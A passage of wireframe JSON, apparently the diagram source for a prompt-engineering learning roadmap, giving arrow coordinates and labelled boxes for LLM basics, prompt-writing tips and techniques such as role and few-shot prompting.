\"Arrow\",\n          \"zOrder\": \"7\",\n          \"w\": \"1\",\n          \"h\": \"102\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1285\",\n          \"y\": \"1827\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312046,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 102.09090909090901\n            }\n          }\n        },\n        {\n          \"ID\": \"10135\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"8\",\n          \"w\": \"1\",\n          \"h\": \"102\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"640\",\n          \"y\": \"1367\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312046,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 102.09090909090901\n            }\n          }\n        },\n        {\n          \"ID\": \"10136\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"9\",\n          \"w\": \"1168\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"316\",\n          \"y\": \"1366\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 1168.2424242424242,\n              \"y\": -0.20575476734575204\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999944,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0.39319576773937115,\n              \"y\": -0.20575476734575204\n            }\n          }\n        },\n        {\n          \"ID\": \"10137\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"10\",\n          \"w\": \"1\",\n          \"h\": \"107\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"315\",\n          \"y\": \"1367\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.00475478501221005\n            },\n            \"p1\": {\n              \"x\": 0.4996216001031205,\n              \"y\": -0.0008638298060972024\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 107.05377796756977\n            }\n          }\n        },\n        {\n          \"ID\": \"10138\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"11\",\n          \"w\": \"148\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"409\",\n          \"y\": \"837\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312034,\n              \"y\": -0.0008638298060972025\n            },\n            \"p2\": {\n              \"x\": 148.24514398610984,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10139\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"12\",\n          \"w\": \"1\",\n          \"h\": \"655\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"316\",\n          \"y\": \"709\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.2895200003503646\n            },\n            \"p1\": {\n              \"x\": 0.4999999999999996,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 654.8846543950108\n            }\n          }\n        },\n        {\n          \"ID\": \"10140\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"13\",\n          \"w\": \"1\",\n          \"h\": \"103\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"865\",\n          \"y\": \"605\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.2895200003503646\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999967,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 102.7942452326543\n            }\n          }\n        },\n        {\n          \"ID\": \"10141\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"14\",\n          \"w\": \"324\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"526\",\n          \"y\": \"848\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 324,\n              \"y\": 0.33333333333337123\n            },\n            \"p1\": {\n              \"x\": 0.49974886631515103,\n              \"y\": -0.0005498027614157119\n            },\n            \"p2\": {\n              \"x\": -0.33333333333337123,\n              \"y\": 0.33333333333337123\n            }\n          }\n        },\n        {\n          \"ID\": \"10142\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"15\",\n          \"w\": \"715\",\n          \"h\": \"466\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"520\",\n          \"y\": \"811\"\n        },\n        {\n          \"ID\": \"10143\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"16\",\n          \"w\": \"158\",\n          \"h\": \"44\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"575\",\n          \"y\": \"539\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.4181932651114495,\n              \"y\": -0.07343090167000682\n            },\n            \"p2\": {\n              \"x\": 159,\n              \"y\": 44\n            }\n          }\n        },\n        {\n          \"ID\": \"10144\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"17\",\n          \"w\": \"227\",\n          \"h\": \"3\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"541\",\n          \"y\": \"593\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49962160010312034,\n              \"y\": -0.0008638298060972026\n            },\n            \"p2\": {\n              \"x\": 226,\n              \"y\": 3\n            }\n          }\n        },\n        {\n          \"ID\": \"10145\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"18\",\n          \"w\": \"167\",\n          \"h\": \"42\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1007\",\n          \"y\": \"483\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 42\n            },\n            \"p1\": {\n              \"x\": 0.6186657440551908,\n              \"y\": -0.07302137599688936\n            },\n            \"p2\": {\n              \"x\": 167,\n              \"y\": 0.3333333333333144\n            }\n          }\n        },\n        {\n          \"ID\": \"10146\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"19\",\n          \"w\": \"170\",\n          \"h\": \"45\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1008\",\n          \"y\": \"546\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.6755986903801783,\n              \"y\": 0.08567906473291619\n            },\n            \"p2\": {\n              \"x\": 170,\n              \"y\": 45.33333333333337\n            }\n          }\n        },\n        {\n          \"ID\": \"10147\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"20\",\n          \"w\": \"205\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"979\",\n          \"y\": \"534\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": 1\n            },\n            \"p1\": {\n              \"x\": 0.499748866315151,\n              \"y\": -0.0005498027614157117\n            },\n            \"p2\": {\n              \"x\": 206,\n              \"y\": 0\n            }\n          }\n        },\n        {\n          \"ID\": \"10148\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"21\",\n          \"measuredW\": \"289\",\n          \"measuredH\": \"40\",\n          \"x\": \"721\",\n          \"y\": \"372\",\n          \"properties\": {\n            \"size\": \"32\",\n            \"text\": \"Prompt Engineering\"\n          }\n        },\n        {\n          \"ID\": \"10149\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"22\",\n          \"w\": \"1\",\n          \"h\": \"103\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"865\",\n          \"y\": \"249\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"stroke\": \"dotted\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.2895200003503646\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999967,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 102.7942452326543\n            }\n          }\n        },\n        {\n          \"ID\": \"10154\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"24\",\n          \"w\": \"1\",\n          \"h\": \"103\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"865\",\n          \"y\": \"438\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"color\": \"10027263\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.2895200003503646\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999967,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 102.7942452326543\n            }\n          }\n        },\n        {\n          \"ID\": \"10159\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"26\",\n          \"measuredW\": \"299\",\n          \"measuredH\": \"49\",\n          \"w\": \"299\",\n          \"h\": \"49\",\n          \"x\": \"716\",\n          \"y\": \"513\",\n          \"properties\": {\n            \"controlName\": \"100-basic-llm\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"299\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"160\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"70\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Basic LLM Concepts\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10160\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"27\",\n          \"measuredW\": \"295\",\n          \"measuredH\": \"45\",\n          \"w\": \"295\",\n          \"h\": \"45\",\n          \"x\": \"1171\",\n          \"y\": \"462\",\n          \"properties\": {\n            \"controlName\": \"100-basic-llm:what-are-llms\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"295\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"126\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"85\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"What are LLMs?\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10161\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"28\",\n          \"measuredW\": \"295\",\n          \"measuredH\": \"45\",\n          \"w\": \"295\",\n          \"h\": \"45\",\n          \"x\": \"1171\",\n          \"y\": \"512\",\n          \"properties\": {\n            \"controlName\": \"101-basic-llm:llm-types\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"295\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"112\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"92\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Types of LLMs\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10162\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"29\",\n          \"measuredW\": \"295\",\n          \"measuredH\": \"45\",\n          \"w\": \"295\",\n          \"h\": \"45\",\n          \"x\": \"1171\",\n          \"y\": \"561\",\n          \"properties\": {\n            \"controlName\": \"102-basic-llm:how-llms-built\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"295\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"159\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"68\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"How are LLMs Built?\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10163\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"30\",\n          \"measuredW\": \"299\",\n          \"measuredH\": \"49\",\n          \"w\": \"299\",\n          \"h\": \"49\",\n          \"x\": \"716\",\n          \"y\": \"567\",\n          \"properties\": {\n            \"controlName\": \"101-prompting-introduction\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"299\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"195\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"52\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Introduction to Prompting\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10164\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"31\",\n          \"measuredW\": \"319\",\n          \"measuredH\": \"45\",\n          \"w\": \"319\",\n          \"h\": \"45\",\n          \"x\": \"261\",\n          \"y\": \"570\",\n          \"properties\": {\n            \"controlName\": \"101-prompting-introduction:need-for-prompting\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"319\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"226\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"57\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Need for Prompt Engineering\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10165\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"32\",\n          \"measuredW\": \"319\",\n          \"measuredH\": \"45\",\n          \"w\": \"319\",\n          \"h\": \"45\",\n          \"x\": \"261\",\n          \"y\": \"520\",\n          \"properties\": {\n            \"controlName\": \"100-prompting-introduction:basic-prompting\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"319\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"126\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"107\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Basic Prompting\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10166\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"33\",\n          \"measuredW\": \"245\",\n          \"measuredH\": \"49\",\n          \"w\": \"245\",\n          \"h\": \"49\",\n          \"x\": \"181\",\n          \"y\": \"813\",\n          \"properties\": {\n            \"controlName\": \"102-prompts\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"245\",\n                  \"h\": \"49\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"64\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"91\",\n                  \"y\": \"12\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Prompts\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10167\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"34\",\n          \"measuredW\": \"492\",\n          \"measuredH\": \"28\",\n          \"w\": \"492\",\n          \"h\": \"28\",\n          \"x\": \"574\",\n          \"y\": \"902\",\n          \"properties\": {\n            \"controlName\": \"100-prompts:good-prompts:use-delimiters\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"492\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Use Delimiters to distinguish the data from the prompt.\",\n                    \"size\": \"20\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10168\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"35\",\n          \"measuredW\": \"471\",\n          \"measuredH\": \"28\",\n          \"w\": \"471\",\n          \"h\": \"28\",\n          \"x\": \"575\",\n          \"y\": \"942\",\n          \"properties\": {\n            \"controlName\": \"101-prompts:good-prompts:structured-data\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"471\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Ask for Structured Output e.g. JSON, XML, HTML etc.\",\n                    \"size\": \"20\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10169\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"36\",\n          \"measuredW\": \"477\",\n          \"measuredH\": \"28\",\n          \"w\": \"477\",\n          \"h\": \"28\",\n          \"x\": \"575\",\n          \"y\": \"984\",\n          \"properties\": {\n            \"controlName\": \"102-prompts:good-prompts:style-information\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"477\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Include style information to modify the tone of output.\",\n                    \"size\": \"20\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10170\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"37\",\n          \"measuredW\": \"502\",\n          \"measuredH\": \"28\",\n          \"w\": \"502\",\n          \"h\": \"28\",\n          \"x\": \"575\",\n          \"y\": \"1026\",\n          \"properties\": {\n            \"controlName\": \"103-prompts:good-prompts:give-conditions\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"502\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Give conditions to the model and ask if they are verified.\",\n                    \"size\": \"20\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10171\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"38\",\n          \"measuredW\": \"500\",\n          \"measuredH\": \"28\",\n          \"w\": \"500\",\n          \"h\": \"28\",\n          \"x\": \"575\",\n          \"y\": \"1068\",\n          \"properties\": {\n            \"controlName\": \"104-prompts:good-prompts:give-examples\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"500\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Give successful examples of completing tasks then ask.\",\n                    \"size\": \"20\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10172\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"39\",\n          \"measuredW\": \"399\",\n          \"measuredH\": \"28\",\n          \"w\": \"399\",\n          \"h\": \"28\",\n          \"x\": \"575\",\n          \"y\": \"1110\",\n          \"properties\": {\n            \"controlName\": \"105-prompts:good-prompts:include-steps\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"399\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Specify the steps required to perform a task.\",\n                    \"size\": \"20\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10173\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"40\",\n          \"measuredW\": \"589\",\n          \"measuredH\": \"28\",\n          \"w\": \"589\",\n          \"h\": \"28\",\n          \"x\": \"575\",\n          \"y\": \"1152\",\n          \"properties\": {\n            \"controlName\": \"106-prompts:good-prompts:workout-solution\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"589\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Instruct model to work out its own solution before giving answers. \",\n                    \"size\": \"20\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10174\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"41\",\n          \"measuredW\": \"290\",\n          \"measuredH\": \"28\",\n          \"w\": \"290\",\n          \"h\": \"28\",\n          \"x\": \"575\",\n          \"y\": \"1194\",\n          \"properties\": {\n            \"controlName\": \"107-prompts:good-prompts:iterate-refine\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"290\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Iterate and Refine your prompts.\",\n                    \"size\": \"20\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10175\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"42\",\n          \"measuredW\": \"239\",\n          \"measuredH\": \"32\",\n          \"x\": \"549\",\n          \"y\": \"850\",\n          \"properties\": {\n            \"text\": \"Writing Good Prompts\",\n            \"size\": \"24\"\n          }\n        },\n        {\n          \"ID\": \"10176\",\n          \"typeID\": \"TextArea\",\n          \"zOrder\": \"43\",\n          \"w\": \"306\",\n          \"h\": \"424\",\n          \"measuredW\": \"200\",\n          \"measuredH\": \"140\",\n          \"x\": \"1199\",\n          \"y\": \"811\"\n        },\n        {\n          \"ID\": \"10177\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"44\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"1217\",\n          \"y\": \"864\",\n          \"properties\": {\n            \"controlName\": \"100-prompts:prompting-techniques:role-prompting\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"119\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"75\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Role Prompting\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10178\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"45\",\n          \"measuredW\": \"269\",\n          \"measuredH\": \"45\",\n          \"w\": \"269\",\n          \"h\": \"45\",\n          \"x\": \"1217\",\n          \"y\": \"914\",\n          \"properties\": {\n            \"controlName\": \"101-prompts:prompting-techniques:few-shot-prompting\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"TextArea\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"269\",\n                  \"h\": \"45\",\n                  \"measuredW\": \"200\",\n                  \"measuredH\": \"140\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"153\",\n                  \"measuredH\": \"25\",\n                  \"x\": \"58\",\n                  \"y\": \"10\",\n                  \"properties\": {\n                    \"size\": \"17\",\n                    \"text\": \"Few Shot Prompting\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"10179\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": 